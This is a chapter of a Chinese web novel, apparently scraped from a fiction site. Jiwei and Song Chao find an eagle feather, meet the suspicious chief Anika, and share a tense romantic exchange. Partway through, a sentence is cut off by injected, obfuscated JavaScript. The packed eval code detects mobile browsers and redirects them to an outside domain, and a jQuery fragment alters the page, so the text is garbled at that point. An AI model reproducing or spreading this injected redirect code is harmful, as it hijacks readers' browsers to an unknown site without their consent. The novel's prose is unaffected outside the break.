寂未心中升起警惕,走到窗边推开窗户。
外面仍是一片寂静,仿佛刚才的动静只是他们的错觉。
“是什么东西啊?”阿九安抚着怀里的小麻雀,又去问寂未。
宋朝也走过去,探出半个身子往外看,在窗边的石台上发现了一根羽毛。
窗台很低,仅仅到他小腿的位置。他想都没想就俯下身去拾,这个动作会导致重心向前,稍有不慎就可能会掉下去。
站在他身边的人一把拉住他的胳膊,宋朝还没来得及回头,就听见她的声音。
“我拉你。”
显然,她也看到了。
听到这句话,宋朝原本还有些紧张的心忽然就安定下来。
他借着寂未的支撑,几乎整个身子都探出去,把那根掉落的羽毛拾了起来。
羽毛棕白相间,大部分都是棕色,颜色鲜亮。
寂未视线紧紧锁在那根羽毛上,半晌后,唇角牵起一个冰冷的弧度:“苍鹰。”
宋朝不明所以,抬起头疑惑地看着她:“什么意思?”
“龟兹敬奉苍鹰,以此为战旗。”她清楚吐出每一个字,面容冷的不带一丝表情,“那邑祖有一只心爱的苍鹰,连上战场都会带着。”
她曾在许多士兵的身上看到了爪伤。
诸多巧合,要说安尼卡和那邑祖之间没什么联系,那才有鬼了。
寂未发出一声笑,宋朝听出了在其中混杂着的数不清的痛与恨。
她等了那厮一千多年,他终于来了吗。
纤长的手指死死掰着桌角,手骨指节因为用力而发白,凸起的腕骨变得更加明显,看起来好像随时都会把掌下的桌子给掰碎。
阿九看着寂未的表情,不明白这人怎么突然就生气了,也不敢去问,小声嘀咕着:“不就是一根羽毛嘛,老板怎么这么生气啊?”
没人回答他的话,或许是没听到,又或者是不想回答。
“寂未。”宋朝叫她的名字,嗓音温和,带着明显的安抚意味。
他不知道该和她说些什么,却总觉得自己该说点什么。
眼前的人动了动,抬起那双眼睛和他对视,内里的情绪已经消失的一干二净。
“我没事。”她收回手,平淡说着。
宋朝欲言又止,看了她很久,转头看向格勒:“他们随时都有可能回来,我们得离开这里,有没有什么别的地方是安全的?”
格勒想了想,对他说:“有一个地方只有我和她知道,我们可以先去那里躲一晚上。”
楼下已经被安尼卡派人围起来了,他们还是用了进来时的方法,阿九灵力不够,寂未只能一拖二。
出去后走了没几步,寂未就听见身后逐渐清晰的脚步声。
“你带他先走,我们等会儿会去找你们。”她果断把格勒推给阿九,还没等两个人反应过来,再次蹙眉催促,“立刻。”
阿九这才回过神来,赶紧拉着格勒先走了。
寂未可以追踪他的气息,肯定是能找到他们的,现下这么着急地让他带格勒离开,多半是有人追过来了。
就凭他现在这点灵力,留在这里也只能给人当靶子。
“是有人追来了吗?”宋朝视线扫过四周,并没有发现异常。
寂未没有回答,只是转过身冷冷盯着不远处的树林,取下发间的木簪攥在手里,随时准备动手的姿态。
一秒,两秒,三秒——
树林中的悉索声愈发明显,来人踩到了断在地上的枯枝,发出咔擦的声响。
宋朝也听到了声音,目光锁定在声音来源,手指慢慢收紧握拳。
那人终于走出了树林,不算瘦弱的身体随着走进出现在他们眼前,半长的胡子灰白,眼睛在昏暗的光线下发出幽幽的光。
“你们是来这里旅游的客人吗?”来人走到他们面前,露出一个和善的微笑,微微颔首,“我是这里的族长,我叫安尼卡,很高兴见到你们。”
如若不是不久之前亲眼看到这人是怎么对待格勒的,恐怕他们都会被这副样子给骗过去。
寂未的身体在看到他的那一刻就不可遏制地紧绷起来,根本没有办法对他作出任何回应。
“你好。”宋朝担心被他察觉到异样,淡声回道。
安尼卡像是完全没有注意到他们对自己的疏离,还是笑着问:“我听益桑说,一共有三个客人来找我,你们的朋友去哪里了?”
益桑?
是那个藏族女人吗?
“高原反应,不太舒服。”寂未冷静下来,她盯着眼前的老人,“有事吗?”
这个人和那邑祖长得完全不一样,无论是五官还是轮廓,只是眉宇间那一丝不易察觉的狠戾和那人有几分重合。
哪怕只是这一丁点的相似,都让她觉得无比的厌恶。
她要用尽全身的力气才能忍下想要试探这人魂灵的冲动。
现在还不是最好的时候,不管怎么样,她都得等杨今嘉和格勒他们出去以后再动手。
“明晚是我们的族长继任典礼,希望几位可以去参加,只要回去以后多多宣传我们这里的景色就可以了。”安尼卡微笑说着。
寂未拒绝得很干脆:“不巧,不太方便。”
听到她的回答,安尼卡略皱了下眉,很快遮掩下去,对他们说:“这样啊,那打扰了。”
“祝几位在这里玩的开心”
说完,他再次抬头看了他们一眼,转身离去,消失在暮色中。
眼前的一切开始发白,四周萧瑟的树木犹似当年故人。
那邑祖踩着白地血污,穿过冰冷尸山,留下这样的背影,离开了雪山。
原本紧绷的人像是被抽干全身的力气,甚至觉得自己无法站立。
她本能地扶住身边的人,身体颤抖着,垂下眼,缓慢呼出一口气。
宋朝将人扶在怀里虚抱着,看到那张毫无血色的面容,不免担心:“寂未。”
寂未抬起视线,眼尾微红。
那道身影早就不见了。
不过是见了他一面,不过只是个怀疑对象,她就将自己搞得如此狼狈,真是可笑。
她实在是等了那人太久,久到哪怕只是这样的怀疑,都要拼尽全力才能克制。
“我没事。”她放开了手,只是说。
宋朝暗自叹息,心底泛起细密的刺痛。
她这个样子怎么看都不像没事,这句没事,不过是习惯性的说辞。
“在我面前,你其实不用这么强撑的。”
他声音很轻,就像掺杂在风里,轻轻拂过耳畔。
温和,却不易被察觉。
话语入耳,寂未眼皮向上,握在掌心的木簪被收紧。
还是第一次有人跟她说这样的话。
什么感受呢?
除了可笑之外,竟还有种说不清的感受。
是心脏骤缩,大脑一瞬的空白。
然后,她选择了沉默。
或许是猜到了她心中所想,宋朝换了话题:“安尼卡邀请我们参加典礼,是发现什么了吗?”
不知道为什么,听到他转换了话题后,寂未倏地松了一口气。
“大概吧。”她边追踪阿九的气息,边回答他的问题。
寂未很快就找到了他们的位置,往那个方向走。
宋朝跟上去:“那为什么不答应他?”
“以自己的身份去,会被他们盯着,不好下手。”
虽然安尼卡知道他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457939|185371||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
们会出现,但不管怎么说,也可以拖延点时间。
“你没觉得格勒不对吗?”她语气淡淡。
跟在身边的人愣了一下,侧头看向她:“哪里不对?”
“他不相信安尼卡可以被人替换,但在看到阿九造出来的替身时却没有丝毫反应。”
宋朝这才反应过来,正常人在看到一个和自己那么相似的人时,第一反应一定是恐惧的,可格勒却没有任何意外的神色。
当时未往心里去,现下听寂未提起,的确是个疑点。
寂未继续说:“他对我们隐瞒的远不止这些。”
包括答应帮他们混进继任仪式这件事,格勒也答应的太过轻松。
安尼卡费尽心力收养杨今嘉,就是为了让她成为族长,然后得到他们想要得到的东西,对于明晚的继任肯定会层层排查,谨慎非常,怎么可能那么轻易就让他们混进去。
格勒和安尼卡他们一定还有什么关联,他所知道的事,比现在这些要多的多。
宋朝心下一紧:“那阿九?”
“他不会有事。”寂未视线扫过他,“隐瞒归隐瞒,格勒对杨今嘉是真心的,在把她救出来之前他不会对我们动手。”
毕竟单靠他自己,别说两个人走,就是让杨今嘉一个人离开都难如登天。
听她这么说,宋朝稍稍放心了些:“你怎么知道他是真心的?”
“表情,动作,语气,还有眼里的情绪,这些细微的表达很难作假。”
格勒是真的担心杨今嘉,也是真的喜欢在意她,所以寂未可以肯定,在这种时候,他不会拿这件事来冒险的。
“那你……”
宋朝原本是想问她明天准备怎么做,可这人蓦然转过头来,让这个问题止于口中。
原本想要说的话问不出口,他鬼使神差地换了个问题。
“也知道我在想什么吗?”
别有意味的语气,零星斑驳的树影,因为这句话而纠缠在一起的目光。
藏在心底的默念绑在箭矢,划裂平静,落在了寂未的面前。
脚步顿住,随她动作的男人也停下来。
影子遮盖住树影,形成某种隐秘。
她看到那双眼睛里流露出无尽温柔,带着光亮撞进她的心底。
寂未看了他很久,始终保持着缄默。
这个问题该不该答,该怎么答,她都不知道。
纷杂的问题缠绕在一起,扰乱了她的思绪,有许多答案想要冲破封闭脱口而出,又被名为理智的束缚生生压下。
似乎是从店庆之后,这个人就愈发肆无忌惮。
宋朝安静望着她,心率却不受控制加快。
喜欢一个人就是这样,不论心中怎么清楚这些问题的不合时宜,哪怕早已能猜到她的答案,却还是控制不住地想得到一个答案,在答案不够清楚之前,仍然怀有希冀。
不知道过了多久,在心跳的轰鸣下,终于听到了眼前那人的回答。
“天黑了,看不清。”
模糊又清晰。
寂未又一次逃避了他的问题。
这个问题的答案,她不该知道,宋朝更不该。
既然没有结果,就不该给予希望。
无谓之事,何必挣扎。
心跳慢了一拍,随后恢复秩序。
宋朝很快又轻轻笑起来,仿佛那真的只是一个无关紧要的问题:“我在想,如果能这样在客栈呆一辈子,也是件很值得开心的事。”
能这样陪她一辈子,哪怕只是陪着她,已足够他心生欢喜。
他本来也不是看重结果的人。
有些事哪怕没有结果,也值得去做。
可况这件事,本就不需要结果。